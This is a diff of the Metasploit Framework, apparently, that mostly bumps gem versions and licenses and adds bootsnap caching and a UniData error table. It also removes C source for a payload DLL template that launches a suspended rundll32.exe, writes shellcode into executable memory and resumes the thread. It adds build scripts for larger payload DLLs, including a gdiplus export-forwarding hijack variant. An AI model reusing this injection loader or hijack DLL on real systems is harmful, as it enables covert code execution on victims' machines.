rex-text (0.2.49)
|
||||
rex-text (0.2.50)
|
||||
rex-zip (0.1.4)
|
||||
rex-text
|
||||
rexml (3.2.5)
|
||||
@@ -414,24 +419,24 @@ GEM
|
||||
rspec-rerun (1.1.0)
|
||||
rspec (~> 3.0)
|
||||
rspec-support (3.12.0)
|
||||
rubocop (1.44.1)
|
||||
rubocop (1.48.0)
|
||||
json (~> 2.3)
|
||||
parallel (~> 1.10)
|
||||
parser (>= 3.2.0.0)
|
||||
rainbow (>= 2.2.2, < 4.0)
|
||||
regexp_parser (>= 1.8, < 3.0)
|
||||
rexml (>= 3.2.5, < 4.0)
|
||||
rubocop-ast (>= 1.24.1, < 2.0)
|
||||
rubocop-ast (>= 1.26.0, < 2.0)
|
||||
ruby-progressbar (~> 1.7)
|
||||
unicode-display_width (>= 2.4.0, < 3.0)
|
||||
rubocop-ast (1.24.1)
|
||||
parser (>= 3.1.1.0)
|
||||
rubocop-ast (1.27.0)
|
||||
parser (>= 3.2.1.0)
|
||||
ruby-macho (3.0.0)
|
||||
ruby-prof (1.4.2)
|
||||
ruby-progressbar (1.11.0)
|
||||
ruby-progressbar (1.13.0)
|
||||
ruby-rc4 (0.1.5)
|
||||
ruby2_keywords (0.0.5)
|
||||
ruby_smb (3.2.4)
|
||||
ruby_smb (3.2.5)
|
||||
bindata
|
||||
openssl-ccm
|
||||
openssl-cmac
|
||||
@@ -453,7 +458,7 @@ GEM
|
||||
rack (~> 2.2, >= 2.2.4)
|
||||
rack-protection (= 3.0.5)
|
||||
tilt (~> 2.0)
|
||||
sqlite3 (1.6.0)
|
||||
sqlite3 (1.6.1)
|
||||
mini_portile2 (~> 2.8.0)
|
||||
sshkey (2.0.0)
|
||||
strptime (0.2.5)
|
||||
@@ -463,9 +468,9 @@ GEM
|
||||
eventmachine (~> 1.0, >= 1.0.4)
|
||||
rack (>= 1, < 3)
|
||||
thor (1.2.1)
|
||||
tilt (2.0.11)
|
||||
tilt (2.1.0)
|
||||
timecop (0.9.6)
|
||||
timeout (0.3.1)
|
||||
timeout (0.3.2)
|
||||
ttfunk (1.7.0)
|
||||
tzinfo (2.0.6)
|
||||
concurrent-ruby (~> 1.0)
|
||||
@@ -500,7 +505,7 @@ GEM
|
||||
webrick
|
||||
yard (0.9.28)
|
||||
webrick (~> 1.7.0)
|
||||
zeitwerk (2.6.6)
|
||||
zeitwerk (2.6.7)
|
||||
|
||||
PLATFORMS
|
||||
ruby
|
||||
|
||||
@@ -152,7 +152,7 @@ Copyright: 2017 Yukihiro Matsumoto
|
||||
License: Ruby
|
||||
|
||||
Files: lib/msf/core/modules/external/python/async_timeout/*
|
||||
Copyright: 2016-2017 Andrew Svetlov
|
||||
Copyright: 2016-2023 Andrew Svetlov
|
||||
License: Apache 2.0
|
||||
|
||||
Files: lib/msf/core/web_services/public/*
|
||||
@@ -227,7 +227,7 @@ Purpose: This module contains the source code for FUSE, which this module
|
||||
Files: modules/exploits/linux/local/ntfs3g_priv_esc.rb
|
||||
Copyright: 2017
|
||||
License: GPLv2
|
||||
Purpose: The Ruby file contains the text of several modules from exploit-db
|
||||
Purpose: The Ruby file contains the text of several modules from exploit-db
|
||||
which it compiles and uploads to the target to elevate privileges.
|
||||
|
||||
Files: modules/exploits/unix/fileformat/metasploit_libnotify_cmd_injection.rb
|
||||
@@ -239,7 +239,7 @@ Purpose: This module targets a vulnerability in Metasploit Framework versions
|
||||
Files: modules/exploits/windows/smb/ms04_007_killbill.rb
|
||||
Copyright: 2004, Solar Eclipse
|
||||
License: GPL
|
||||
Purpose: The module exploits the Windows ASN.1 vulnerability in Windows 2000
|
||||
Purpose: The module exploits the Windows ASN.1 vulnerability in Windows 2000
|
||||
SP2-SP4 and Windows XP SP0-SP1. It contains code ported from a GPLv2
|
||||
module.
|
||||
|
||||
@@ -255,7 +255,7 @@ Purpose: This module allows us to create an x64 Windows messagebox payload.
|
||||
Files: modules/post/linux/dos/xen_420_dos.rb
|
||||
Copyright: 2016
|
||||
License: GPL
|
||||
Purpose: This module crashes the Xen 4.2.0 hypervisor when run in a
|
||||
Purpose: This module crashes the Xen 4.2.0 hypervisor when run in a
|
||||
paravirtualized VM. It contains a short code section licensed through
|
||||
GPL.
|
||||
|
||||
|
||||
+46
-44
@@ -1,31 +1,33 @@
|
||||
This file is auto-generated by tools/dev/update_gem_licenses.sh
|
||||
Ascii85, 1.1.0, MIT
|
||||
actionpack, 7.0.4.2, MIT
|
||||
actionview, 7.0.4.2, MIT
|
||||
activemodel, 7.0.4.2, MIT
|
||||
activerecord, 7.0.4.2, MIT
|
||||
activesupport, 7.0.4.2, MIT
|
||||
actionpack, 7.0.4.3, MIT
|
||||
actionview, 7.0.4.3, MIT
|
||||
activemodel, 7.0.4.3, MIT
|
||||
activerecord, 7.0.4.3, MIT
|
||||
activesupport, 7.0.4.3, MIT
|
||||
addressable, 2.8.1, "Apache 2.0"
|
||||
afm, 0.2.2, MIT
|
||||
arel-helpers, 2.14.0, MIT
|
||||
ast, 2.4.2, MIT
|
||||
aws-eventstream, 1.2.0, "Apache 2.0"
|
||||
aws-partitions, 1.701.0, "Apache 2.0"
|
||||
aws-partitions, 1.722.0, "Apache 2.0"
|
||||
aws-sdk-core, 3.170.0, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.362.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.74.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.62.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.119.0, "Apache 2.0"
|
||||
aws-sdk-ec2, 1.368.0, "Apache 2.0"
|
||||
aws-sdk-iam, 1.75.0, "Apache 2.0"
|
||||
aws-sdk-kms, 1.63.0, "Apache 2.0"
|
||||
aws-sdk-s3, 1.119.1, "Apache 2.0"
|
||||
aws-sigv4, 1.5.2, "Apache 2.0"
|
||||
bcrypt, 3.1.18, MIT
|
||||
bcrypt_pbkdf, 1.1.0, MIT
|
||||
bindata, 2.4.14, ruby
|
||||
bindata, 2.4.15, "Simplified BSD"
|
||||
bootsnap, 1.16.0, MIT
|
||||
bson, 4.15.0, "Apache 2.0"
|
||||
builder, 3.2.4, MIT
|
||||
bundler, 2.1.4, MIT
|
||||
byebug, 11.1.3, "Simplified BSD"
|
||||
chunky_png, 1.4.0, MIT
|
||||
coderay, 1.1.3, MIT
|
||||
concurrent-ruby, 1.2.0, MIT
|
||||
concurrent-ruby, 1.2.2, MIT
|
||||
cookiejar, 0.3.3, unknown
|
||||
crass, 1.0.6, MIT
|
||||
daemons, 1.4.1, MIT
|
||||
@@ -41,10 +43,10 @@ erubi, 1.12.0, MIT
|
||||
eventmachine, 1.2.7, "ruby, GPL-2.0"
|
||||
factory_bot, 6.2.1, MIT
|
||||
factory_bot_rails, 6.2.0, MIT
|
||||
faker, 3.1.0, MIT
|
||||
faker, 3.1.1, MIT
|
||||
faraday, 2.7.4, MIT
|
||||
faraday-net_http, 3.0.2, MIT
|
||||
faraday-retry, 2.0.0, MIT
|
||||
faraday-retry, 2.1.0, MIT
|
||||
faye-websocket, 0.11.1, "Apache 2.0"
|
||||
ffi, 1.15.5, "New BSD"
|
||||
filesize, 0.2.0, MIT
|
||||
@@ -59,38 +61,38 @@ http_parser.rb, 0.8.0, MIT
|
||||
httpclient, 2.8.3, ruby
|
||||
i18n, 1.12.0, MIT
|
||||
io-console, 0.6.0, "ruby, Simplified BSD"
|
||||
irb, 1.6.2, "ruby, Simplified BSD"
|
||||
irb, 1.6.3, "ruby, Simplified BSD"
|
||||
jmespath, 1.6.2, "Apache 2.0"
|
||||
jsobfu, 0.4.2, "New BSD"
|
||||
json, 2.6.3, ruby
|
||||
little-plugger, 1.1.4, MIT
|
||||
logging, 2.3.1, MIT
|
||||
loofah, 2.19.1, MIT
|
||||
loofah, 2.20.0, MIT
|
||||
memory_profiler, 1.0.1, MIT
|
||||
metasm, 1.0.5, LGPL-2.1
|
||||
metasploit-concern, 5.0.1, "New BSD"
|
||||
metasploit-credential, 6.0.2, "New BSD"
|
||||
metasploit-framework, 6.3.2, "New BSD"
|
||||
metasploit-credential, 6.0.4, "New BSD"
|
||||
metasploit-framework, 6.3.14, "New BSD"
|
||||
metasploit-model, 5.0.1, "New BSD"
|
||||
metasploit-payloads, 2.0.108, "3-clause (or ""modified"") BSD"
|
||||
metasploit-payloads, 2.0.126, "3-clause (or ""modified"") BSD"
|
||||
metasploit_data_models, 6.0.2, "New BSD"
|
||||
metasploit_payloads-mettle, 1.0.20, "3-clause (or ""modified"") BSD"
|
||||
method_source, 1.0.0, MIT
|
||||
mini_portile2, 2.8.1, MIT
|
||||
minitest, 5.17.0, MIT
|
||||
mqtt, 0.5.0, MIT
|
||||
msgpack, 1.6.0, "Apache 2.0"
|
||||
minitest, 5.18.0, MIT
|
||||
mqtt, 0.6.0, MIT
|
||||
msgpack, 1.6.1, "Apache 2.0"
|
||||
multi_json, 1.15.0, MIT
|
||||
mustermann, 3.0.0, MIT
|
||||
nessus_rest, 0.1.6, MIT
|
||||
net-ldap, 0.17.1, MIT
|
||||
net-protocol, 0.2.1, "ruby, Simplified BSD"
|
||||
net-smtp, 0.3.3, "ruby, Simplified BSD"
|
||||
net-ssh, 7.0.1, MIT
|
||||
net-ssh, 7.1.0, MIT
|
||||
network_interface, 0.0.2, MIT
|
||||
nexpose, 7.3.0, "New BSD"
|
||||
nio4r, 2.5.8, MIT
|
||||
nokogiri, 1.14.1, MIT
|
||||
nokogiri, 1.14.2, MIT
|
||||
nori, 2.6.0, MIT
|
||||
octokit, 4.25.1, MIT
|
||||
openssl-ccm, 1.2.3, MIT
|
||||
@@ -98,35 +100,35 @@ openssl-cmac, 2.0.2, MIT
|
||||
openvas-omp, 0.0.4, MIT
|
||||
packetfu, 1.1.13, BSD
|
||||
parallel, 1.22.1, MIT
|
||||
parser, 3.2.0.0, MIT
|
||||
parser, 3.2.1.1, MIT
|
||||
patch_finder, 1.0.2, "New BSD"
|
||||
pcaprub, 0.13.1, LGPL-2.1
|
||||
pdf-reader, 2.11.0, MIT
|
||||
pg, 1.4.5, "Simplified BSD"
|
||||
pg, 1.4.6, "Simplified BSD"
|
||||
pry, 0.14.2, MIT
|
||||
pry-byebug, 3.10.1, MIT
|
||||
public_suffix, 5.0.1, MIT
|
||||
puma, 6.0.2, "New BSD"
|
||||
puma, 6.1.1, "New BSD"
|
||||
racc, 1.6.2, "ruby, Simplified BSD"
|
||||
rack, 2.2.6.2, MIT
|
||||
rack, 2.2.6.4, MIT
|
||||
rack-protection, 3.0.5, MIT
|
||||
rack-test, 2.0.2, MIT
|
||||
rack-test, 2.1.0, MIT
|
||||
rails-dom-testing, 2.0.3, MIT
|
||||
rails-html-sanitizer, 1.5.0, MIT
|
||||
railties, 7.0.4.2, MIT
|
||||
railties, 7.0.4.3, MIT
|
||||
rainbow, 3.1.1, MIT
|
||||
rake, 13.0.6, MIT
|
||||
rasn1, 0.12.1, MIT
|
||||
rb-readline, 0.5.5, BSD
|
||||
recog, 3.0.3, unknown
|
||||
recog, 3.1.1, unknown
|
||||
redcarpet, 3.6.0, MIT
|
||||
regexp_parser, 2.6.2, MIT
|
||||
regexp_parser, 2.7.0, MIT
|
||||
reline, 0.3.2, ruby
|
||||
rex-arch, 0.1.14, "New BSD"
|
||||
rex-bin_tools, 0.1.8, "New BSD"
|
||||
rex-core, 0.1.30, "New BSD"
|
||||
rex-encoder, 0.1.6, "New BSD"
|
||||
rex-exploitation, 0.1.37, "New BSD"
|
||||
rex-exploitation, 0.1.38, "New BSD"
|
||||
rex-java, 0.1.6, "New BSD"
|
||||
rex-mime, 0.1.7, "New BSD"
|
||||
rex-nop, 0.1.2, "New BSD"
|
||||
@@ -135,28 +137,28 @@ rex-powershell, 0.1.97, "New BSD"
|
||||
rex-random_identifier, 0.1.10, "New BSD"
|
||||
rex-registry, 0.1.4, "New BSD"
|
||||
rex-rop_builder, 0.1.4, "New BSD"
|
||||
rex-socket, 0.1.46, "New BSD"
|
||||
rex-socket, 0.1.49, "New BSD"
|
||||
rex-sslscan, 0.1.9, "New BSD"
|
||||
rex-struct2, 0.1.3, "New BSD"
|
||||
rex-text, 0.2.49, "New BSD"
|
||||
rex-text, 0.2.50, "New BSD"
|
||||
rex-zip, 0.1.4, "New BSD"
|
||||
rexml, 3.2.5, "Simplified BSD"
|
||||
rkelly-remix, 0.0.7, MIT
|
||||
rspec, 3.12.0, MIT
|
||||
rspec-core, 3.12.0, MIT
|
||||
rspec-core, 3.12.1, MIT
|
||||
rspec-expectations, 3.12.2, MIT
|
||||
rspec-mocks, 3.12.3, MIT
|
||||
rspec-rails, 6.0.1, MIT
|
||||
rspec-rerun, 1.1.0, MIT
|
||||
rspec-support, 3.12.0, MIT
|
||||
rubocop, 1.44.1, MIT
|
||||
rubocop-ast, 1.24.1, MIT
|
||||
rubocop, 1.48.0, MIT
|
||||
rubocop-ast, 1.27.0, MIT
|
||||
ruby-macho, 3.0.0, MIT
|
||||
ruby-prof, 1.4.2, "Simplified BSD"
|
||||
ruby-progressbar, 1.11.0, MIT
|
||||
ruby-progressbar, 1.13.0, MIT
|
||||
ruby-rc4, 0.1.5, MIT
|
||||
ruby2_keywords, 0.0.5, "ruby, Simplified BSD"
|
||||
ruby_smb, 3.2.4, "New BSD"
|
||||
ruby_smb, 3.2.5, "New BSD"
|
||||
rubyntlm, 0.6.3, MIT
|
||||
rubyzip, 2.3.2, "Simplified BSD"
|
||||
sawyer, 0.9.2, MIT
|
||||
@@ -164,15 +166,15 @@ simplecov, 0.18.2, MIT
|
||||
simplecov-html, 0.12.3, MIT
|
||||
simpleidn, 0.2.1, MIT
|
||||
sinatra, 3.0.5, MIT
|
||||
sqlite3, 1.6.0, "New BSD"
|
||||
sqlite3, 1.6.1, "New BSD"
|
||||
sshkey, 2.0.0, MIT
|
||||
strptime, 0.2.5, "Simplified BSD"
|
||||
swagger-blocks, 3.0.0, MIT
|
||||
thin, 1.8.1, "GPL-2.0+, ruby"
|
||||
thor, 1.2.1, MIT
|
||||
tilt, 2.0.11, MIT
|
||||
tilt, 2.1.0, MIT
|
||||
timecop, 0.9.6, MIT
|
||||
timeout, 0.3.1, "ruby, Simplified BSD"
|
||||
timeout, 0.3.2, "ruby, Simplified BSD"
|
||||
ttfunk, 1.7.0, "Nonstandard, GPL-2.0, GPL-3.0"
|
||||
tzinfo, 2.0.6, MIT
|
||||
tzinfo-data, 1.2022.7, MIT
|
||||
@@ -190,4 +192,4 @@ winrm, 2.3.6, "Apache 2.0"
|
||||
xdr, 3.0.3, "Apache 2.0"
|
||||
xmlrpc, 0.3.2, "ruby, Simplified BSD"
|
||||
yard, 0.9.28, MIT
|
||||
zeitwerk, 2.6.6, MIT
|
||||
zeitwerk, 2.6.7, MIT
|
||||
|
||||
@@ -47,7 +47,7 @@ module Metasploit
|
||||
when "test"
|
||||
config.eager_load = false
|
||||
when "production"
|
||||
config.eager_load = true
|
||||
config.eager_load = false
|
||||
end
|
||||
|
||||
if ActiveRecord.respond_to?(:legacy_connection_handling=)
|
||||
|
||||
@@ -38,3 +38,64 @@ lib_path = root.join('lib').to_path
|
||||
unless $LOAD_PATH.include? lib_path
|
||||
$LOAD_PATH.unshift lib_path
|
||||
end
|
||||
|
||||
require 'digest'
|
||||
require 'metasploit/framework/version'
|
||||
require 'msf/base/config'
|
||||
|
||||
# Invalidate and delete the bootsnap cache if required. For instance if the metasploit-framework version has changed.
|
||||
#
|
||||
# @param [Hash] bootsnap_config See https://github.com/Shopify/bootsnap/blob/95e8d170aea99a831fd484ce09ad2f195644e740/lib/bootsnap.rb#L38
|
||||
# @return [void]
|
||||
def invalidate_bootsnap_cache!(bootsnap_config)
|
||||
expected_cache_metadata = {
|
||||
'metasploit_framework_version' => Metasploit::Framework::Version::VERSION,
|
||||
'ruby_description' => RUBY_DESCRIPTION,
|
||||
'bundler_lockfile_hash' => Digest::MD5.hexdigest(Bundler.read_file(Bundler.default_lockfile)),
|
||||
'bootsnap_config' => {
|
||||
'load_path_cache' => bootsnap_config[:load_path_cache],
|
||||
'compile_cache_iseq' => bootsnap_config[:compile_cache_iseq],
|
||||
'compile_cache_yaml' => bootsnap_config[:compile_cache_yaml],
|
||||
}
|
||||
}
|
||||
|
||||
cache_metadata_path = File.join(bootsnap_config[:cache_dir], "metadata.yaml")
|
||||
if File.exist?(cache_metadata_path)
|
||||
cache_metadata = YAML.safe_load(File.binread(cache_metadata_path))
|
||||
if cache_metadata != expected_cache_metadata
|
||||
FileUtils.rm_rf(bootsnap_config[:cache_dir], secure: true)
|
||||
end
|
||||
end
|
||||
|
||||
FileUtils.mkdir_p(bootsnap_config[:cache_dir])
|
||||
File.binwrite(cache_metadata_path, expected_cache_metadata.to_yaml)
|
||||
|
||||
nil
|
||||
end
|
||||
|
||||
# Attempt to use bootsnap caching for improved startup time
|
||||
begin
|
||||
require 'bootsnap'
|
||||
env = ENV['RAILS_ENV'] || ENV['RACK_ENV'] || ENV['ENV']
|
||||
development_mode = ['', nil, 'development'].include?(env)
|
||||
|
||||
cache_dir = ::File.join(Msf::Config.config_directory, "bootsnap_cache")
|
||||
bootsnap_config = {
|
||||
cache_dir: cache_dir,
|
||||
ignore_directories: [],
|
||||
development_mode: development_mode,
|
||||
load_path_cache: true, # Optimize the LOAD_PATH with a cache
|
||||
compile_cache_iseq: false, # Don't compile Ruby code into ISeq cache, breaks coverage reporting.
|
||||
compile_cache_yaml: false, # Don't compile YAML into a cache
|
||||
readonly: false, # Update caches - https://github.com/Shopify/bootsnap/commit/b51397f96c33aa421fd5c29484fb9574df9eb451
|
||||
}
|
||||
invalidate_bootsnap_cache!(bootsnap_config)
|
||||
Bootsnap.setup(**bootsnap_config)
|
||||
rescue
|
||||
$stderr.puts 'Warning: Failed bootsnap cache setup'
|
||||
begin
|
||||
FileUtils.rm_rf(cache_dir, secure: true)
|
||||
rescue
|
||||
$stderr.puts 'Warning: Failed deleting bootsnap cache'
|
||||
end
|
||||
end
|
||||
|
||||
BIN
Binary file not shown.
@@ -117,6 +117,13 @@
|
||||
|
||||
<%= normalize_pull_requests(items[:mod_pull_requests]) %>
|
||||
|
||||
<%- attacker_kb_references = normalize_attackerkb_references(items[:mod_refs]) %>
|
||||
<% unless attacker_kb_references.empty? %>
|
||||
## AttackerKB references
|
||||
|
||||
<%= attacker_kb_references %>
|
||||
<% end %>
|
||||
|
||||
<% unless items[:mod_refs].empty? %>
|
||||
## References
|
||||
|
||||
|
||||
@@ -0,0 +1,10 @@
|
||||
# PE Source Code
|
||||
This directory contains the source code for the PE executable templates.
|
||||
|
||||
## Building DLLs
|
||||
Use the provided `build_dlls.bat` file, and run it from within the Visual Studio
|
||||
developer console. The batch file requires that the `%VCINSTALLDIR%` environment
|
||||
variable be defined (which it should be by default). The build script will
|
||||
create both the x86 and x64 templates before moving them into the correct
|
||||
folder. The current working directory when the build is run must be the source
|
||||
code directory (`pe`).
|
||||
@@ -0,0 +1,7 @@
|
||||
@echo off
|
||||
|
||||
for /D %%d in (dll*) do (
|
||||
pushd "%%d"
|
||||
build.bat
|
||||
popd
|
||||
)
|
||||
@@ -3,12 +3,13 @@
|
||||
if "%~1"=="" GOTO NO_ARGUMENTS
|
||||
echo Compiling for: %1
|
||||
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
|
||||
cl /LD /GS- /DBUILDMODE=2 template.c /Fe:template_%1_windows.dll /link kernel32.lib /entry:DllMain /subsystem:WINDOWS
|
||||
rc /v template.rc
|
||||
cl /LD /GS- /DBUILDMODE=2 template.c /Fe:template_%1_windows.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
|
||||
cl /LD /GS- /DBUILDMODE=2 /DSCSIZE=262144 template.c /Fe:template_%1_windows.256kib.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
|
||||
exit /B
|
||||
|
||||
:NO_ARGUMENTS
|
||||
%COMSPEC% /c "%0" x86
|
||||
%COMSPEC% /c "%0" x64
|
||||
del *.obj
|
||||
del *.obj *.res
|
||||
move *.dll ..\..\..
|
||||
|
||||
|
||||
@@ -1,5 +1,6 @@
|
||||
|
||||
#ifndef SCSIZE
|
||||
#define SCSIZE 4096
|
||||
#endif
|
||||
unsigned char code[SCSIZE] = "PAYLOAD:";
|
||||
char szSyncNameS[MAX_PATH] = "Local\\Semaphore:Default\0";
|
||||
char szSyncNameE[MAX_PATH] = "Local\\Event:Default\0";
|
||||
|
||||
@@ -0,0 +1,15 @@
|
||||
@echo off
|
||||
|
||||
if "%~1"=="" GOTO NO_ARGUMENTS
|
||||
echo Compiling for: %1
|
||||
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
|
||||
rc /v /fo template.res ../dll/template.rc
|
||||
cl /LD /GS- /DBUILDMODE=2 /I . /FI exports.h ../dll/template.c /Fe:template_%1_windows_dccw_gdiplus.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
|
||||
cl /LD /GS- /DBUILDMODE=2 /DSCSIZE=262144 /I . /FI exports.h ../dll/template.c /Fe:template_%1_windows_dccw_gdiplus.256kib.dll /link kernel32.lib template.res /entry:DllMain /subsystem:WINDOWS
|
||||
exit /B
|
||||
|
||||
:NO_ARGUMENTS
|
||||
%COMSPEC% /c "%0" x86
|
||||
%COMSPEC% /c "%0" x64
|
||||
del *.exp *.lib *.res *.obj
|
||||
move *.dll ..\..\..
|
||||
@@ -1,24 +0,0 @@
|
||||
#
|
||||
# XXX: NOTE: this will only compile the x86 version.
|
||||
#
|
||||
# To compile the x64 version, use:
|
||||
# C:\> call "c:\Program Files (x86)\Microsoft Visual Studio 9.0\VC\vcvarsall.bat" amd64
|
||||
# C:\> cl.exe -LD /Zl /GS- /DBUILDMODE=2 /link /entry:DllMain kernel32.lib
|
||||
#
|
||||
|
||||
if [ -z "$PREFIX" ]; then
|
||||
PREFIX=i686-w64-mingw32
|
||||
fi
|
||||
|
||||
rm -f *.o *.dll
|
||||
$PREFIX-gcc -c template.c
|
||||
$PREFIX-windres -o rc.o template.rc
|
||||
$PREFIX-gcc -mdll -o junk.tmp -Wl,--base-file,base.tmp template.o rc.o
|
||||
rm -f junk.tmp
|
||||
$PREFIX-dlltool --dllname template_x86_windows.dll --base-file base.tmp --output-exp temp.exp #--def template.def
|
||||
rm -f base.tmp
|
||||
$PREFIX-gcc -mdll -o template_x86_windows.dll template.o rc.o -Wl,temp.exp
|
||||
rm -f temp.exp
|
||||
|
||||
$PREFIX-strip template_x86_windows.dll
|
||||
rm -f *.o
|
||||
-3
@@ -1,6 +1,3 @@
|
||||
#define SCSIZE 2048
|
||||
unsigned char code[SCSIZE] = "PAYLOAD:";
|
||||
|
||||
#ifdef _MSC_VER
|
||||
#pragma comment (linker, "/export:GdipAlloc=c:/windows/system32/gdiplus.GdipAlloc,@34")
|
||||
#pragma comment (linker, "/export:GdipCloneBrush=c:/windows/system32/gdiplus.GdipCloneBrush,@46")
|
||||
@@ -1,97 +0,0 @@
|
||||
#include <windows.h>
|
||||
#include "template.h"
|
||||
|
||||
/* hand-rolled bzero allows us to avoid including ms vc runtime */
|
||||
void inline_bzero(void *p, size_t l)
|
||||
{
|
||||
|
||||
BYTE *q = (BYTE *)p;
|
||||
size_t x = 0;
|
||||
for (x = 0; x < l; x++)
|
||||
*(q++) = 0x00;
|
||||
}
|
||||
|
||||
void ExecutePayload(void);
|
||||
|
||||
BOOL WINAPI
|
||||
DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
|
||||
{
|
||||
switch (dwReason)
|
||||
{
|
||||
case DLL_PROCESS_ATTACH:
|
||||
ExecutePayload();
|
||||
break;
|
||||
|
||||
case DLL_PROCESS_DETACH:
|
||||
// Code to run when the DLL is freed
|
||||
break;
|
||||
|
||||
case DLL_THREAD_ATTACH:
|
||||
// Code to run when a thread is created during the DLL's lifetime
|
||||
break;
|
||||
|
||||
case DLL_THREAD_DETACH:
|
||||
// Code to run when a thread ends normally.
|
||||
break;
|
||||
}
|
||||
return TRUE;
|
||||
}
|
||||
|
||||
void ExecutePayload(void) {
|
||||
int error;
|
||||
PROCESS_INFORMATION pi;
|
||||
STARTUPINFO si;
|
||||
CONTEXT ctx;
|
||||
DWORD prot;
|
||||
LPVOID ep;
|
||||
|
||||
// Start up the payload in a new process
|
||||
inline_bzero( &si, sizeof( si ));
|
||||
si.cb = sizeof(si);
|
||||
|
||||
// Create a suspended process, write shellcode into stack, make stack RWX, resume it
|
||||
if(CreateProcess( 0, "rundll32.exe", 0, 0, 0, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, 0, 0, &si, &pi)) {
|
||||
ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
|
||||
GetThreadContext(pi.hThread, &ctx);
|
||||
|
||||
ep = (LPVOID) VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||
|
||||
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0);
|
||||
|
||||
#ifdef _WIN64
|
||||
ctx.Rip = (DWORD64)ep;
|
||||
#else
|
||||
ctx.Eip = (DWORD)ep;
|
||||
#endif
|
||||
|
||||
SetThreadContext(pi.hThread,&ctx);
|
||||
|
||||
ResumeThread(pi.hThread);
|
||||
CloseHandle(pi.hThread);
|
||||
CloseHandle(pi.hProcess);
|
||||
}
|
||||
// ExitProcess(0);
|
||||
ExitThread(0);
|
||||
}
|
||||
|
||||
/*
|
||||
typedef VOID
|
||||
(NTAPI *PIMAGE_TLS_CALLBACK) (
|
||||
PVOID DllHandle,
|
||||
ULONG Reason,
|
||||
PVOID Reserved
|
||||
);
|
||||
|
||||
VOID NTAPI TlsCallback(
|
||||
IN PVOID DllHandle,
|
||||
IN ULONG Reason,
|
||||
IN PVOID Reserved)
|
||||
{
|
||||
__asm ( "int3" );
|
||||
}
|
||||
|
||||
ULONG _tls_index;
|
||||
PIMAGE_TLS_CALLBACK _tls_cb[] = { TlsCallback, NULL };
|
||||
IMAGE_TLS_DIRECTORY _tls_used = { 0, 0, (ULONG)&_tls_index, (ULONG)_tls_cb, 1000, 0 };
|
||||
*/
|
||||
|
||||
@@ -1,3 +0,0 @@
|
||||
EXPORTS
|
||||
DllMain@12
|
||||
|
||||
@@ -1,18 +0,0 @@
|
||||
|
||||
LANGUAGE 9, 1
|
||||
|
||||
|
||||
VS_VERSION_INFO VERSIONINFO
|
||||
FILEVERSION 0,0,0,1
|
||||
PRODUCTVERSION 0,0,0,1
|
||||
FILEFLAGSMASK 0x17L
|
||||
FILEFLAGS 0x0L
|
||||
FILEOS 0x4L
|
||||
FILETYPE 0x2L
|
||||
FILESUBTYPE 0x0L
|
||||
BEGIN
|
||||
|
||||
END
|
||||
|
||||
#define RT_HTML 23
|
||||
|
||||
@@ -4,6 +4,7 @@ if "%~1"=="" GOTO NO_ARGUMENTS
|
||||
echo Compiling for: %1
|
||||
call "%VCINSTALLDIR%Auxiliary\Build\vcvarsall.bat" %1
|
||||
cl /CLR /LD /GS- /I ..\dll /DBUILDMODE=2 template.cpp /Fe:template_%1_windows_mixed_mode.dll /link mscoree.lib kernel32.lib /entry:DllMain /subsystem:WINDOWS
|
||||
cl /CLR /LD /GS- /I ..\dll /DBUILDMODE=2 /DSCSIZE=262144 template.cpp /Fe:template_%1_windows_mixed_mode.256kib.dll /link mscoree.lib kernel32.lib /entry:DllMain /subsystem:WINDOWS
|
||||
exit /B
|
||||
|
||||
:NO_ARGUMENTS
|
||||
|
||||
BIN
Binary file not shown.
Regular → Executable
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
Regular → Executable
BIN
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,101 @@
|
||||
# Mostly from https://docs.rocketsoftware.com/bundle/grv1653317862214_grv1653317862214/page/nhb1653316841876.html
|
||||
{
|
||||
0: "UVE_NOERROR",
|
||||
14002: "UVE_ENOENT",
|
||||
14005: "UVE_EIO",
|
||||
14009: "UVE_EBADF",
|
||||
14012: "UVE_ENOMEM",
|
||||
14013: "UVE_EACCES",
|
||||
14022: "UVE_EINVAL",
|
||||
14023: "UVE_ENFILE",
|
||||
14024: "UVE_EMFILE",
|
||||
14028: "UVE_ENOSPC",
|
||||
14551: "UVE_NETUNREACH",
|
||||
22001: "UVE_BFN",
|
||||
22002: "UVE_BTS",
|
||||
20003: "UVE_IID",
|
||||
22004: "UVE_LRR",
|
||||
22005: "UVE_NFI",
|
||||
30001: "UVE_RNF",
|
||||
30002: "UVE_LCK",
|
||||
30095: "UVE_FIFS",
|
||||
30097: "UVE_SELFAIL",
|
||||
30098: "UVE_LOCKINVALID",
|
||||
30099: "UVE_SEQOPENED",
|
||||
30100: "UVE_HASHOPENED",
|
||||
30101: "UVE_SEEKFAILED",
|
||||
30103: "UVE_INVALIDATKEY",
|
||||
30105: "UVE_UNABLETOLOADSUB",
|
||||
30106: "UVE_BADNUMARGS",
|
||||
30107: "UVE_SUBERROR",
|
||||
30108: "UVE_ITYPEFTC",
|
||||
30109: "UVE_ITYPEFAILEDTOLOAD",
|
||||
30110: "UVE_ITYPENOTCOMPILED",
|
||||
30111: "UVE_BADITYPE",
|
||||
30112: "UVE_INVALIDFILENAME",
|
||||
30113: "UVE_WEOFFAILED",
|
||||
30114: "UVE_EXECUTEISACTIVE",
|
||||
30115: "UVE_EXECUTENOTACTIVE",
|
||||
30124: "UVE_TX_ACTIVE",
|
||||
30125: "UVE_CANT_ACCESS_PF",
|
||||
30126: "UVE_FAIL_TO_CANCEL",
|
||||
30127: "UVE_INVALID_INFO_KEY",
|
